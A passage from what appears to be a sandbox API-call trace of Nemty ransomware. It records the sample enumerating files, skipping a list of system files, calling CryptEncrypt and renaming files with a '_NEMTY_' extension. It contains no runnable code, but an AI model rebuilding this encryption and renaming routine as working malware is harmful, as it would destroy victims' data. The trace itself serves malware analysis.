lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.920] CloseHandle (hObject=0xffffffff) returned 0 [0093.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0093.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0093.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.920] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png._nemty_kgobjgd_")) returned 0 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.921] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2=".") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="..") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="...") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="windows") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="$RECYCLE.BIN") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="rsa") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="NTDETECT.COM") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="ntldr") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="MSDOS.SYS") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="IO.SYS") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="boot.ini") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="boot.ini") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="ntuser.dat") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="desktop.ini") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="CONFIG.SYS") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="RECYCLER") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="BOOTSECT.BAK") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="bootmgr") returned 1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="programdata") returned -1 [0093.921] lstrcmpiW (lpString1="header-background.png", lpString2="appdata") returned 1 [0093.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0093.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="header-background.png", lpUsedDefaultChar=0x0) returned 21 [0093.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0093.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="header-background.png", lpUsedDefaultChar=0x0) returned 21 [0093.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0093.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="header-background.png", lpUsedDefaultChar=0x0) returned 21 [0093.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0093.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="header-background.png", lpUsedDefaultChar=0x0) returned 21 [0093.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0093.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0093.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0093.922] Sleep (dwMilliseconds=0x5) [0093.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeba17b90, dwHighDateTime=0x1d561e7)) [0093.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeba17b90, dwHighDateTime=0x1d561e7)) [0093.925] GetLastError () returned 0x5 [0093.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.925] GetLastError () returned 0x5 [0093.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.926] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0093.926] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="oX6jpkpnnqcodNcKdm8mQOTkPEQ0kr8EGCgvrLXc+4gpRfwpW2eh5yYEW7+uYEQd\r\nrNZRUkhk24HSjHu/GgtjcbGEX3BQcYE9AchK4AAyTAkIHOa/VRDwvQ16zkc/lU5/\r\nD0O7wn/wpUZgZpsPgHn6+KSFL3uEFGq3UwGCmIwukUZ9wRFheIVJ0mwFGb7Uf3aK\r\nYaacpWhQPGxXfd8GmpB82bxsAnSgyz5AK22NHYk5SCAJ5SreFnaZncPesXrSDlwE\r\nks4CuVttjP27LfCS8yXtr0ZJYs9AN/j6lkyeNdRpiBFsbYkOpi+PUfJ2CZGbw9Sc\r\nEzQBM9S7wrWfOsaI3z3fmA==\r\n", pcchString=0x653e91c) returned 1 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.926] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.926] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, 